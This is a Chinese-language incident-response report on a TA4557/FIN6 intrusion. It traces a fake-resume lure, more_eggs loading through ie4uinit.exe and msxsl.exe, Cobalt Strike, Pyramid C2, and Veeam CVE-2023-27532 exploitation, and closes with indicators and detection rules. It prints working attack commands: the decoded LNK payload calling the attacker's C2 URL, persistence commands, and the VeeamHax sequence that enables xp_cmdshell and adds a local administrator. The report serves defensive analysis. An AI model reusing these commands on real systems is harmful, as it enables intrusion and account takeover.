关键要点
-
• 攻击者边界突破源自TA4557/FIN6 攻击组织的简历钓鱼活动 -
• 攻击者利用白名单程序 ie4uinit.exe 和 msxsl.exe 等来运行 more_eggs 恶意软件 -
• 攻击者在后渗透阶段使用了Cobalt Strike和基于python开发的C2框架Pyramid -
• 攻击者利用CVE-2023-27532获取Veeam服务器权限进行横向移动 -
• 攻击者利用Cloudflared隧道进行内网穿透以访问RDP服务
摘要
2024 年 3 月,我们检测到恶意软件攻击行为,经过调查我们确认攻击者在企业环境中从一台个人终端横向移动到两台服务器。
Proofpoint追踪并批露了这次使用伪造简历投递木马的钓鱼活动,并将攻击归引到他们追踪的攻击组织TA4557。这个攻击组织活动和FIN6高度相似,并且都有使用 Cobalt Group 和 Evilnum的习惯。
受害者被应聘信息引导至一个在线的简历网站,并下载了伪装成简历的zip压缩包。打开压缩包中的lnk文件就触发了恶意软件的执行。具体的执行流程为:利用白名单程序 ie4uinit.exe加载恶意的.inf文件,这是一个下载器,会下载恶意的DLL文件,创建计划任务进行权限维持,之后使用WMI利用白名单程序msxsl.exe执行JS脚本,从而建立到more_eggs恶意软件C2通信。
more_eggs上线后,会使用内置命令(如 nltest、net 和 whoami)进行一轮信息收集。经过一天半的静默后,恶意软件进程加载Cobalt Strike 载荷。随后攻击者使用 vssadmin 创建卷影副本,我们推测这可能是尝试访问凭据。之后攻击者使用内置命令又进行一轮信息收集,并创建了一个系统用户。
之后,攻击者使用 SharpShares 和 Seatbelt 进一步列举主机和环境。尝试在失陷主机上部署 Pyramid,经过一番折腾,虽然成功执行了,但我们几乎没有观察到它与其C2服务器的通信或其他行为。随后攻击者开始寻找横向移动目标。他们决定将运行 Veeam 软件的备份服务器作为目标。他们利用服务器上的漏洞 CVE-2023-27532,并使用该访问权限创建了新的本地管理员帐户。
通过备份服务器上的新帐户,他们使用 RDP 从失陷的个人终端进行连接。据 Arctic Wolf 报告,在这次和后来的 RDP横向移动期间,攻击者泄露了几个主机名,这些主机名与其他入侵有关,这些入侵以部署 Fog 勒索软件结束。在备份服务器上,攻击者部署了他们的 Cobalt Strike载荷,并进行更多的信息收集。在备份服务器上访问 LSASS 内存以获取凭据。
在此之后,攻击者将目标锁定在第二台服务器,这次使用远程服务在第二台服务器上复制创建新的本地管理员帐户。此服务是使用域管理员帐户创建的,说明上一步的 LSASS 访问成功。然后,攻击者检查了环境中的各种特权用户,然后找到了已禁用的域管理员帐户并重新启用。
在备份服务器上,攻击者随后使用浏览器访问文件共享站点,temp.sh 下载包含 Cloudflare 安装程序的 zip 文件。然后运行 zip 中的 MSI 安装程序,并将 Cloudflared 作为服务安装在服务器上。然后,他们使用 RDP 连接到第二台服务器,并在那里重复安装过程。在此服务器上,他们创建了另一个新用户,并添加到本地管理员组。
之后,攻击者使用新用户启动了新的 RDP 会话,并执行SoftPerfect Network Scanner。扫描后,攻击者从远程文件共享中打开了一些文件,
第二天,攻击者开始对远程网络上的主机执行 ping 操作。在此之后,他们删除了失陷的个人终端上的more_eggs文件和持久化任务,并停止了more_eggs的进程。Cobalt Strike 和 Cloudflare 隧道仍然处于活动状态,但在攻击者被驱逐之前没有观察到进一步的活动。
我们对虚假简历活动的进一步开源调查发现了许多其他诱饵面,它们具有相同的模板和图像,遵循相同的
该钓鱼活动仍在进行中,我们观察到对诱饵网站或恶意软件部署的最小更改。已识别的域列表包含在报告的 indicators 部分中。
虽然 TA4557/FIN6 早在 2018 年就使用了more_eggs恶意软件和虚假简历诱饵,但这个特定的活动似乎是在 2023 年底开始的。以下是之前对同一活动的一些分析:
-
• Proofpoint证明 -
• Trend Micro趋势科技 -
• eSentire -
• Critical Start关键起点
入侵路径分析
边界突破
自 2018 年以来,Proofpoint 一直在跟踪 TA4557,他们是是一个技术娴熟、出于经济动机的攻击组织,已知他传播专有的 more_eggs 后门,该后门可以收集失陷主机信息并加载其他载荷。TA4557 与其他攻击组织明显不同的是,它具有独特的工具和恶意软件、活动目标、求职者主题诱饵、复杂的规避措施、独特的攻击链和显着的基础设施模式。
在整个 2024 年,Proofpoint 观察到 TA4557 在针对参与招聘流程的员工时使用了多种钓鱼手法,包括:
-
• 直接向员工发送电子邮件,其中包含指导收件人导航到以简历为主题的网站的说明,最终导致恶意软件的传递。攻击组织使用了各种方法来阻止安全工具识别电子邮件正文中的域名,似乎是为了避免自动分析。例如包括在电子邮件正文中的 TLD 前留下空格或下划线。 -
• 直接向员工发送正常电子邮件,等待回复,然后回复一封电子邮件,其中包含指导收件人导航到以简历为主题的网站的说明,伪装成虚假候选人并申请各种招聘网站上的合法招聘信息。该行为者通常会将简历上传到工作申请中,其中包含将用户引导至虚假候选人网页的说明。 -
• 2024 年 3 月,Proofpoint 检测到一封来自求职网站的电子邮件,应聘者是TA4557伪装的。我们的诱饵文件和蜜罐站点同样检测到了这个行为。
在这个案例中,我们通过读取Edge浏览器的SQLIte数据库,收集到了攻击组织投递载荷的链接。
受害者从 johnshimkus[.]com下载了伪装成简历附件的 John Shimkus.zip。当我们复现这一步攻击过程时,我们发现该网站有验证码校验,每次下载会生成唯一的URL。
如果使用Linux访问该网站,不会得到下载链接,而是文本版的简历,这样做是为了避免恶意软件被分析和调试。
Proofpoint 在下面介绍的 TA4557 活动中使用相同的网站模板和库存图像:
代码执行
受害者解压缩 zip 后,他们单击执行感染流程John-_Shimkus.lnk的 Windows 快捷方式文件。
这里说明一下,压缩i包中的2.jpg并没有用于恶意软件执行的过程中,我们猜测在压缩包中增加图片,可以绕过某些检测规则。
执行 Windows 快捷方式后,将执行以下几个步骤。
首先是lnk文件,我们可以看到这个快捷方式执行的超长参数
解码后的cmd和参数命令行如下,该命令将文本输出到 ieuinit.inf 文件:
(for %%a in ("[089F]" "sc" "ro%%Clarify%%j,NI,%%Serious%%%%Departments%%%%Departments%%p%%Jaguar%%%%Groups%%%%Groups%%a92837f.johnshimkus.%%Questions%%/setthevar" "[strings]" "Questions=com" "Groups=/" "Clarify=b;Proud" "Jaguar=:;Creatures" "Serious=h" "Danger=%%time%%" "Defines=init" "shortsvcname=' '" "Departments=t;Toast" "servicename=' '" "[destinationdirs]" "defaultdestdir=11" "824=01" "[defaultinstall.windows7]" "Un" "Register" "OCXs=089F" "delfiles=824" "[824]" "ieu%%Defines%%.inf" "[version]" "signature$windows nt$" ) do @echo %%~a) > "%%appdata%%microsoftieuinit.inf"
然后复制合法二进制文件 ie4uinit.exe 到自定义位置,同时设置一些额外的环境变量。
call xcopy /Y /C /Q %%windir%%system32ie4uinit.exe "%%appdata%%microsoft*" | set Pupils59=Seats && start "" wmic process call create "%%appdata%%microsoftie4uinit.exe -basesettings" | set "Pupils4=Involves Bestsellers Clubs Discussions Crane Acquire Switch Young Estates Advisors Presents Calls Subscriptions Replies Rangers Congress Quote Thesis Makers Gives Folks Quality Vital Posters Paintings Diamond Legend Crucial Installations Across Surplus Double Diabetes Centuries Stadium Unveil Input Segment Databases Disabilities Desert Baskets Ghost Recall Illustrations Pattern Friend Spoon Agents Directories Paperbacks Spike Watches Pilot"
这部分命令在失陷主机上的进程活动如下:
%WINDIR%system32cmd.exe /S /D /c" call xcopy /Y /C /Q %%windir%%system32ie4uinit.exe "%APPDATA%microsoft*" "%WINDIR%system32cmd.exe /S /D /c" set Pupils59=Seats "xcopy /Y /C /Q %WINDIR%system32ie4uinit.exe "%APPDATA%microsoft*"%WINDIR%system32cmd.exe /S /D /c" start "" wmic process call create "%APPDATA%microsoftie4uinit.exe -basesettings" "%WINDIR%system32cmd.exe /S /D /c" set "Pupils4=Involves Bestsellers Clubs Discussions Crane Acquire Switch Young Estates Advisors Presents Calls Subscriptions Replies Rangers ConQuote Thesis Makers Gives Folks Quality Vital Posters Paintings Diamond Legend Crucial Installations Across Surplus Double Diabetes Centuries Stadium Unveil Input Segment DatabasesDisabilities Desert Baskets Ghost Recall Illustrations Pattern Friend Spoon Agents Directories Paperbacks Spike Watches Pilot""wmic process call create "%APPDATA%microsoftie4uinit.exe -basesettings"%APPDATA%microsoftie4uinit.exe -basesetting
利用ie4uinit.exe (LOLBin)
攻击者利用已知的白文件 IE4uinit.exe(https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/)执行恶意软件。IE4uinit.exe 提供了加载INF文件的能力。它可用于从远程服务器加载和执行 COM scriptlet (SCT)。在案例中,观察到它访问 URL:
hxxp://a92837f.johnshimkus[.]com/setthevar
以下截图是 ie4uinit.exe 进程的DNS日志
触发suricata规则如下:
我们还可以使用 Prefetch 来确认ie4uinit.exe与恶意的 ieuinit.inf 进行了交互:
More_Eggs
执行 ie4uinit.exe 后不久,DLL 20350.dll 被放入 AppData 文件夹中。然后,该进程wmiprvse.exe生成以下命令:
regsvr32 /s /n /i:Action "C:Users<user>AppDataRoamingMicrosoft20350.dll"
此 DLL 创建了 .txt 个文件以及用于下一阶段执行的合法 MSXSL 可执行文件:
C:ProgramDataMicrosoft51D7701F6EB775C7.txt (XML - Schtask)C:ProgramDataMicrosoft29D88F75006BE8A.txt (XML - more_eggs script)C:ProgramDataMicrosoft178F2E426.txtC:ProgramDataMicrosoftmsxsl.exe (Legitimate Binary)
随后使用schtasks创建定期执行more_eggs的计划任务进行权限维持,
schtasks /Create /TN "8766714F94DD" /XML "C:ProgramDataMicrosoft51D7701F6EB775C7.txt"
利用 msxsl.exe 部署 more_eggs
攻击者使用msxsl.exe加载more_eggs – https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msxsl/ :
C:ProgramDataMicrosoftmsxsl.exe 29D88F75006BE8A.txt 29D88F75006BE8A.txt
执行msxsl.exe传递参数的29D88F75006BE8A.txt是一个混淆后的JS脚本,用于加载more_eggs恶意软件。
more_eggs 恶意软件运行后执行了以下命令:
typeperf.exe "SystemProcessor Queue Length" -si 180 -sc 1
Typeperf 是一个 Microsoft 实用程序,用于从指定的计数器收集性能数据,Process Queue Length 详细说明了处理器中的线程。参数 -si 表示采样间隔,以秒(3 分钟)为单位,而 -sc 表示收集的样本数。
通过这个性能数据收集,我们可以总结出more_eggs恶意软件创建进程在时间分布上的统计特征。在整个入侵期间,每小时生成大约 20 个新进程创建事件。这是基于 180 秒、60 分钟(小时)/3 分钟(180 秒)= 20 个进程的参数。
在1.5天之后,攻击者通过more_eggs加载了Cobalt Strike载荷。
regsvr32.exe /s /n /i "C:ProgramData31765.ocx"
这个ocx文件是一个无签名的DLL文件,大小为230KB。
权限维持
more_eggs
more_eggs执行期间创建计划任务的命令如下:
schtasks /Create /TN "8766714F94DD" /XML "C:ProgramDataMicrosoft51D7701F6EB775C7.txt"
schtasks命令中使用/XML参数加载一个文本文件,根据Microsoft 文档说明:
根据 XML 文件内容创建计划任务。可以与 /ru 和 /rp 参数结合使用,如果 XML 文件已包含用户帐户信息,则可以单独与 /rp 参数结合使用。
因此,在使用文本扩展名时,该文件是用于持久性的现成任务。该任务本身使用引导触发器在主机上重新启动活动后重新启动恶意软件。
178F2E426.txt文件包含
解码后,我们可以看到脚本将执行 msxsl.exe 和 more_eggs 伪装成文本文件的脚本文件。
Cloudflared
在备份服务器上,攻击者使用 Internet Explorer 从 temp.sh 文件共享站点下载了名为 cloudflared.zip 的 zip 文件。我们可以从用户的 WebCacheV01.dat 文件中提取下载 URL。
然后,攻击者通过 MSI 安装程序在环境中的两台服务器上安装了 Cloudflared工具。Cloudflare 是一种工具,可用于通过 Cloudflare 的服务通过隧道传输流量。这允许攻击者通过隧道代理访问私有网络。
"C:WindowsSystem32msiexec.exe" /i "C:ProgramDatacloudflaredcloudflared-windows-amd64.msi"
|
|
|
|
|
|
|
|
|
MSI 将Cloudflared安装为系统服务(System EID 7045)
Cloudflared服务启动并建立隧道,可在Event ID 1事件中查看
创建帐户
在入侵期间,攻击者创建了四个不同的用户帐户。其中三个是本地用户,并被添加到主机的本地 Administrators 组,另一个用户帐户被添加到AD域 Administrators 组。所有用户都是使用 net.exe 添加的,但命令是通过多种方式启动的,包括本地命令 shell、应用程序漏洞和远程服务。
入侵期间观察到的用户名:
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
权限提升
攻击者使用了 VeeamHax (https://github.com/sfewer-r7/CVE-2023-27532) 的修改版本。该工具利用了 CVE-2023-27532。下面是我们观察到的反编译版本和源代码的对照。主要变化是允许将任意 SQL 命令作为参数。
–cmd 参数通过硬编码的 xp_cmdshell 命令执行。如下所示,默认值为c:windowsnotepad.exe
执行notepad.exe只能作为漏洞探测的PoC而没有其他危害,而使用--sql参数则能够将任意SQL语句传递到服务器执行进一步的漏洞利用。
攻击者使用其自定义版本的 VeeamHax.exe 运行以下命令以启用xp_cmdshell,然后创建名为 sqlbackup 的本地管理员,密码为 Password!1221!。
VeeamHax.exe --verbose --target <backup server> --port 9401 --cmd "c:windowsnotepad.exe" --sql "select @@version"VeeamHax.exe --verbose --target <backup server> --port 9401 --cmd "c:windowsnotepad.exe" --sql "EXEC sp_configure 'show advanced options', '1'"VeeamHax.exe --verbose --target <backup server> --port 9401 --cmd "c:windowsnotepad.exe" --sql "RECONFIGURE"VeeamHax.exe --verbose --target <backup server> --port 9401 --cmd "c:windowsnotepad.exe" --sql "EXEC sp_configure 'xp_cmdshell', '1' "VeeamHax.exe --verbose --target <backup server> --port 9401 --cmd "c:windowsnotepad.exe" --sql "RECONFIGURE"VeeamHax.exe --verbose --target <backup server> --port 9401 --cmd "c:windowsnotepad.exe" --sql "EXEC master..xp_cmdshell 'net user sqlbackup Password!1221! /add'"VeeamHax.exe --verbose --target <backup server> --port 9401 --cmd "c:windowsnotepad.exe" --sql "EXEC master..xp_cmdshell 'net localgroup administrators sqlbackup /add'"
VeeamHax.exe二进制文件包括 developers 程序数据库 (PDB) 字符串,如下所示:
E:Developeryahtochka2CVE-2023-27532objReleaseVeeamHax.pdb
从备份服务器中,我们观察到 MSSQL 进程执行的 net 命令。
"%WINDIR%system32cmd.exe" /c net user sqlbackup Password!1221! /add"%WINDIR%system32cmd.exe" /c net localgroup administrators sqlbackup /add
The Security event log recorded the local account creation in Event ID 4720:安全事件日志在事件 ID 4720 中记录了本地帐户创建:
用于启用xp_cmdshell然后执行 cmd 的 SQL Server 关联 Windows 应用程序事件 ID 由两个事件 ID 15457 快速连续指示:
第一个事件与启用 xp_cmdshell 相关:
然后是xp_cmdshell执行:
漏洞利用失败
当 VeeamHax.exe 进程成功执行时,观察到该进程在 Windows 应用程序事件日志中的事件 ID 1000 下终止(提供程序:应用程序错误)。这表明该漏洞利用未安全地处理异常错误,从而导致应用程序崩溃。
出现关联的“.Net Runtime”错误:
攻击者多次执行该进程,每次都发生多个应用程序错误事件。导致生成关联的 Windows 错误报告事件 ID 1001(提供程序:Windows 错误报告)。
应用程序调用的 WerFault 进程表示应用程序意外终止。攻击者在短时间内进行了多次漏洞利用尝试。
防御规避
攻击者在整个入侵过程中从主机中删除了文件。例如,more_eggs 有效负载在执行后删除了自己的 DLL。
这种行为在整个入侵过程中持续存在。
在入侵期间,在攻击者横向移动到备份服务器后,我们观察到 Windows Defender 的日志事件被禁用。我们没有观察到与此相关的进程事件,因此我们评估此操作是由攻击者在 GUI 中使用其 RDP 会话执行的。
命名管道
从 Cobalt Strike regsvr32 流程中,我们观察到默认 Cobalt Strike 命名管道的使用情况。
观察到的管道:
postex_18abpostex_77cb
凭证访问
在备份服务器上的 RDP 会话期间,攻击者打开了 powershell_ise.exe 并运行了脚本 Veeam-Get-Creds.ps1 (https://github.com/sadshade/veeam-creds/blob/main/Veeam-Get-Creds.ps1)。
事件 ID 为 4103 和 4104 的 PowerShell 操作日志跟踪了脚本的输出,其中突出显示他们成功从 Veeam 数据库中提取了管理员密码。
备份服务器上的LSASS进程是通过RunDll32 (Cobalt Strike) 信标访问的,使用了众所周知的0x1010 - PROCESS_QUERY_LIMITED_INFORMATION (0x1000) & PROCESS_VM_READ (0x0010)
还观察到 RunDll32 进程使用 SYSTEM、受损帐户域管理员帐户和新创建的本地帐户与 cmd.exe 和 RunDll32.exe 等其他进程进行交互。
系统恢复
在最初失陷主机上观察到使用 Microsoft 实用程序 VSSADMIN(卷影复制服务)列出配置的影子,然后创建新的影子。攻击者似乎在执行该命令时遇到了问题,并使用额外的“cmd”调用再次重复尝试。
C:Windowssystem32cmd.exe /C vssadmin list shadowsC:Windowssystem32cmd.exe /C vssadmin create shadow /for=C: 2>&1C:Windowssystem32cmd.exe /C vssadmin create shadowC:Windowssystem32cmd.exe /C cmd /c vssadmin create shadow /for=C: 2>&1
我们从未观察到与创建的卷影副本的任何交互。目前尚不清楚攻击者发起此命令的原因。创建影子卷的原因的假设是通过本地保存的存储(例如 SAM 配置单元,因为这不是域控制器)提取凭据。
在各种 Red Team 教程中详细介绍了一个相同的 'vssadmin' 命令 (https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-domain-controller-hashes-via-wmic-and-shadow-copy-using-vssadmin)
信息收集
最初的操作在恶意软件初始执行后大约 10 分钟开始。使用了标准的 Windows 实用程序:
cmd /v /c nltest /trusted_domains > "%TEMP%22041.txt" 2>&1cmd /v /c net group /domain "Domain Admins" > "%TEMP%51362.txt" 2>&1cmd /v /c whoami /upn > "%TEMP%26906.txt" 2>&1
攻击者后来使用 Cobalt Strike 信标执行许多其他发现命令:
%WINDIR%system32cmd.exe /C query session %WINDIR%system32cmd.exe /C nslookup %WINDIR%system32cmd.exe /C ping -n 1 <DOMAIN>%WINDIR%system32cmd.exe /C net usre REDACTED /dom %WINDIR%system32cmd.exe /C net user REDACTED /dom
我们怀疑攻击者正在使用 Cobalt Strike 信标的执行汇编功能,因为有几个 rundll32.exe 实例注入了 dotNet 代码。
被入侵的组织有关键的的ETW事件记录,这使我们能够捕获加载某些模块的攻击者。记录了以下内容,其中包括攻击者使用已知的枚举工具 Seatbelt 和 SharpShares 。
Microsoft-Windows-DotNETRuntimeRundown {A669021C-C450-4609-A035-5AF59AF4DF18}Seatbelt"EventID":153"CommandLine":"C:\Windows\system32\rundll32.exe""ModuleILPath":"Seatbelt""ManagedPdbBuildPath":"Z:\Agressor\github.com-GhostPack\Seatbelt-master\Seatbelt\obj\Debug\Seatbelt.pdb"SharpShares"EventID":153"CommandLine":"C:\Windows\system32\rundll32.exe""ModuleILPath":"SharpShares""ManagedPdbBuildPath":"C:\Users\mmoser\source\repos\SharpShares\SharpShares\obj\Release\SharpShares.pdb"
这些工具的执行生成了 seatinfo.txt 和 share.txt 文件,攻击者在主机上查看了这些文件。
type C:programdatashares.txt (A list of file shares in the network)type c:programdataseatinfo.txt (Output of Seatbelt)
在基于非托管代码的进程(例如 RunDLL32)中调用 SharpShares 或 SeatBelt(均为 .NET/托管应用程序)会导致创建公共语言运行时 (CLR) 使用日志文件。
C:Users<REDACTED>AppDataLocalMicrosoftCLR_v4.0UsageLogsrundll32.exe.log
如果 RunDLL32.exe 等进程存在此文件,则表示已执行 .Net 编译的有效负载。在这种情况下,我们可以将此活动与 execute-assembly 事件相关联。
一旦攻击者能够访问备份服务器,他们就运行adfind.exe以收集有关该域的更多信息:
adfind.exe -f "(objectcategory=person)"adfind.exe -f "objectcategory=computer"adfind.exe -subnets -f (objectCategory=subnet)
使用route print检查网段信息,然后创建以下文件 C:ProgramDatascaner.zip。不久之后,攻击者从解压缩的内容中执行了 Soft Perfect Netscan 工具:
C:ProgramDatascanerscanernetscan.exe
在 zip 内容中,我们观察到至少有五个其他受害者环境之前保存了其他扫描结果。
netscan.exe随附的许可证文件如下所示:
<?xml version="1.0"?><network-scanner-license> <license>o7fOIORWqaHfRIxHI1hcovfNXqvCKPNigA+oOK8UtlSJGu342vVWzuTLsR4R0bLA9Rdh+Skt6lkYR75knjO8Uw1/5N4t9qM0CRC/xjmL/gpU2K/EZQDz7+64gTeMwzkzag3KBpDcZKwwYrqdx3kVCsDXwugDQijJ6vDTuyubTAY=</license> <upgrade>0</upgrade> <language>English</language> <nmap></nmap> <autoupdate> <prompt>false</prompt> <enabled>false</enabled> <lastcheck>0</lastcheck> </autoupdate></network-scanner-license>
在执行 netscan.exe 后不久,我们观察到 ICMP 流量突然增加,这可以识别为整个网络的 ping 扫描。下面是一个网络流量示例,示例说明了扫描期间的增量目标 IP 地址。
通过查看受感染用户的 Shellbags,我们能够识别在网络的文件共享中翻找的攻击者
攻击者在最初的失陷主机上枚举本地用户(EID 4799)。调用进程为“Rundll32.exe”。将 CallerProcessID 从 hex 转换为十进制后,我们可以将其关联并确认为 Cobalt Strike 进程。
横向移动
在利用 CVE-2023-27532 创建本地管理员帐户后,攻击者通过远程桌面协议转移到 Veeam 备份服务器。接下来,他们使用 RDP 再次从备份服务器转向环境中的第二台服务器。
当他们通过现有的恶意软件代理请求时,他们的工作站名称在身份验证事件中泄露,表明他们可能正在使用 Kali OS。
一旦进入备份服务器,攻击者就使用 rundll32.exe 在主机上运行 Cobalt Strike。
rundll32.exe c:programdatapayload_cr1.dll,DllInstall
这个C2会话与最初的失陷主机的C2会话属性信息一致。另一个攻击者工作站名称 PACKERP-VUDV41R 在备份服务器的身份验证日志中泄露。
值得注意的是,在 Arctic Fox 关于 FOG 勒索软件案例的文章中观察到主机名 kali 和 PACKERP-VUDV41R,以及本报告中提到的几个工具。
远程服务创建
在利用 Veeam 并获得对备份服务器的访问权限后,攻击者获得了域管理员帐户的凭据。他们使用此帐户在管理服务器上创建了一个远程服务,并创建了一个 SQLPackup 用户,其属性与他们在备份服务器上创建的用户相同。
可以使用 suricata 规则在网络上观察到此活动:
ET RPC DCERPC SVCCTL - Remote Service Control Manager Access
在本地远程管理服务器上,创建了 7045 事件,然后处理事件以在主机上本地创建用户帐户。
执行这些操作后,攻击者再次使用 RDP 访问此主机。
C2远程控制
more_eggs 恶意软件是最主要的C2流量,直到攻击者将 Cobalt Strike 部署到网络,而网络要高得多。如下图所示,Pyramid C2 只使用了一次。
more_eggs
more_eggs 负载与以下C2地址通信:
|
|
|
|
|
|
Cobalt Strike
完整的信标配置是不可恢复的,但是在对环境进行内存扫描时,会选取部分配置:
"Server":"shehasgone.com", (144.208.127[.]15)"TargetUri":"/wp-includes/lu.png","License":2073085114"Host: bing.com""Connection: close""Accept-Language: en-GB;q=0.9, *;q=0.7"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
CloudFlare Tunnels
CloudFlared 隧道是由攻击者在两台服务器主机上建立的。在入侵期间,一台主机显示与 CloudFlare IPv4 范围的持续连接。
使用对以下域的 DNS 查询请求:
部署 Pyramid C2
攻击者通过 Cobalt Strike 会话传输文件python-3.10.4-embed-amd64.zip。此 zip 文件包含许多文件,包括 Veeam 的漏洞利用工具。这是在最初失陷主机上用户可写的 'ProgramData' 文件夹中。
zip 文件是成 Python-3.10 安装包。攻击者尝试通过 PowerShell 命令行开关提取 zip 文件内容文件,尝试了多种组合,但最终失败。
攻击者决定改用 Windows 提供的实用程序“Tar”。
使用 Tar 实用程序时,攻击者未指定目标目标。因此,默认情况下,提取会在 WindowsSystem32 中创建 >200 个文件。
攻击者没有被难住,它使用了他们在 ProgramData 文件夹中下载的 7zip 命令行实用程序。
c:programdatassh7za.exe x "c:programdatasshpython-3.10.4-embed-amd64.zip" -y
不幸的是,攻击者犯了类似的错误,这次将文件 (> 200) 提取到 WindowsSysWOW64 文件夹位置。这是因为他们的命令会话当前目录在 C:WindowsSystem32 下,应用程序是 32 位 (SysWOW64)。
攻击者意识到错误并切换到正确的当前目录 C:ProgramDataSSH。他们再次使用 7za 将内容(> 200 个文件)提取到正确的位置。
在整个过程中观察到许多文件创建事件(>700 文件),其中 python 文件(.py扩展名)是在 Windows 文件夹位置创建的,这可能很不寻常。
最终解压缩后,攻击者运行了以下 python 文件:
cmd.exe /C "python.exe cradle.py"
在分析文件 crade.py 并解码其内容时,我们确定它是一个具有以下配置的 Pyramid 信标:
pyramid_server='172.96.139.82'pyramid_port='80'pyramid_user='fLCi6UsgLYKdj7Fi'pyramid_pass='Q6V26bKG68nLJ4T3UXkEFLJYsHvKgLVi'encryption='chacha20'encryptionpass='TestPass1'chacha20IV=b'12345678'pyramid_http='http'encode_encrypt_url='/login/'pyramid_module='base-bof_nanodump.py'user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
时间线
钻石模型
Atomic
# TA4557 Resume Lurejohnshimkus[.]com# Other Identified TA4557 Resume Lure Pagesannetterawlings[.]commitchellspearman[.]commikedecook[.]comdavidopkins[.]commarkqualman[.]comjulienolsson[.]comwlynch[.]comjohncboins[.]comchristianvelour[.]comlisasierra[.]commikedecook[.]comjacksallay[.]com# more_eggspin.howasit[.]com108.174.197[.]15# Cobalt Strikeshehasgone[.]com144.208.127[.]15# Pyramind172.96.139[.]82# Computer NamekaliPACKERP-VUDV41R
Computed
Name: John Shimkus.zipSize: 17421 bytes (17 KiB)SHA256: ffc89a2026fa2b2364dd180ede662fa4ac161323388f3553b6d6e4cb2601cb1fName: John-_Shimkus.lnkSize: 5977 bytes (5.84 kB)SAH256: b56d2e095dc6c2171e461ca737cbdc0a35de7f4729b31fe41258f9cbd81309a1Name: 31765.ocxSize: 236544 bytes (231 KiB)SHA256: 408f1f982bef7ab5a79057eec4079e5e8d87a0ee83361c79469018b791c03e8fName: VeeamHax.exeSize: 7680 bytes (7 KiB)SHA256: aaa6041912a6ba3cf167ecdb90a434a62feaf08639c59705847706b9f492015dName: AdFind.exeSize: 2195968 bytes (2144 KiB)SHA256: 4b8be22b23cd9098218a6f744baeb45c51b6fad6a559b01fe92dbb53c6e2c128Name: cloudflared-windows-amd64.exeSize: 62660475 bytes (59 MiB)SHA256: 4569c869047a092032f6eac7cf0547591a03a0d750a6b104a606807ea282d608Name: cloudflared-windows-amd64.msiSize: 18305536 bytes (17 MiB)SHA256: a26379ad2eb9de44691da254182ca65fb32596fe1217fe4fbddb173f361a0a9bName: payload_cr1.dll (Cobalt Strike)Size: 236544 bytes (231 KiB)SHA256: 408f1f982bef7ab5a79057eec4079e5e8d87a0ee83361c79469018b791c03e8fName: netscan.exeSize: 16047672 bytes (15 MiB)SHA256: a8a7fdbbc688029c0d97bf836da9ece926a85e78986d0e1ebd9b3467b3a72258
Additional Indicators provided by Proof Point
File Name John__Shimkus.lnkSHA256 95634a5c6a8290aaa9d287f28c7d22b3b7ca1cf974339fc89ea4d542fa2ec45aFile Name Resume - John Shimkus.pdfFile Size 259866 bytesFile Type PDF document, version 1.7MD5 987ad23508239b58739279048cb850d5SHA1 62ea63b720556bda73eaf95be7a282193d19aa4dSHA256 fe63fdf34d66f1658e2c9227ac84adffaa2cbb8b689999d4d1ebc733fc5f0fceFile name 5477CA40.txtAssociated Filenames C:ProgramDataMicrosoft5477CA40.txtFile Size 896 bytesMD5 14c72c6c628104de0a93df124caa3e4aSHA1 03bd5fa3fa4b06190b26762c4ea7b4e6ac615819SHA256 bd3df53a397af4fe5e1441b2c91a6149bac9d26c94e46de9dbcbfa9b8647a935File name 2A2052FAA08D525.txtAssociated Filenames C:ProgramDataMicrosoft2A2052FAA08D525.txtFile Size 1745 bytesMD5 6a0ddc6b06db8f7fef1e8934347d150dSHA1 6a8fed99d66e84524fc75c7bfe003dea750dab11SHA256 29bc115b5ae8cf19578c1c6a6743c3e53b9247d8eb6c556bc9d056994c58835bFile name 16304.dllAssociated Filenames C:UsersUserAppDataRoamingMicrosoft16304.dllFile Size 258560 bytesFile Type PE32 executable (DLL) (GUI) Intel 80386, for MS WindowsMD5 bace25f5a53a4e6cde31fe2ca2bc39a9SHA1 ac6521fa3b00f4e70ffb97ee1dfa895097d01dc8SHA256 757e297137e8ed21622297ae8885740b5beb09bc07141cf8ce7b24dbd95bdaf0File name 495D3BB0FEC9.txtAssociated Filenames C:ProgramDataMicrosoft495D3BB0FEC9.txtFile Size 77881 bytesMD5 6886f4cce4041cf27dff8e2ecfbfd38dSHA1 b68eaed2a653ca79b8ef0b261eb4047ced6e16f4SHA256 6f12dc858631cf90cd4fef57fbb52675b8649d777c7f86384c6535da0a59ad67File name 60052.txtAssociated Filenames C:WindowsTemp60052.txtC:UsersUserAppDataLocalTemp48744.txtFile Size 80 bytesMD5 4fdbae9775a20dc33dec05e408c2a2adSHA1 3eaa51632f2beae23d9811b9ff91e31c91092177SHA256 228cd867898ab0b81d31212b2da03cc3e349c9000dfb33e77410e2937cea8532File name kbbwi9hgjwFile Size 357808 bytesSHA256 cbe1f43ad7a19c97a521a662dd406a3fb345ae919271cefc694a71e55fe163f5
Detections
Network
ETPRO MALWARE Possible More_eggs Connectivity Check M2ET INFO DNS Query to Cloudflare Tunneling Domain (argotunnel .com)ET INFO Observed Cloudflare Tunneling Domain (argotunnel .com in TLS SNI)ET INFO SMB2 NT Create AndX Request For a DLL File - Possible Lateral MovementET RPC DCERPC SVCCTL - Remote Service Control Manager AccessETPRO MALWARE App Whitelist Bypass Via Com Scriptlet Inbound
Sigma
DFIR Public Rules Repo:
50046619-1037-49d7-91aa-54fc92923604 : AdFind Discovery
DFIR Private Rules:
28702b61-c530-49f8-9d22-de15166ab9c5 : Detection of Modified VeeamHax Tool Usage9b3a37ab-c97a-451b-94e8-09dae5e759e7 : Detecting the use of a workstation named 'kali' in the network275ec3d1-47c1-4fa9-a001-fa4feeb5e4d4 : Detect Disabling Windows Defender Threat Protection855a4c48-fdd5-4283-ba4b-c5ec167e4128 : Detection of Suspicious msxsl.exe Command Line Activity8c2dc958-3385-4ac7-acdb-eeecafa7944e : Detection of Suspicious IPv6 Address in RDP Sessions3b4e4f8d-50e3-48c8-a92b-fba48d5af7a1 : Execution IE4uinit.exe to Sideload Malicious Binaries
Sigma Repo:
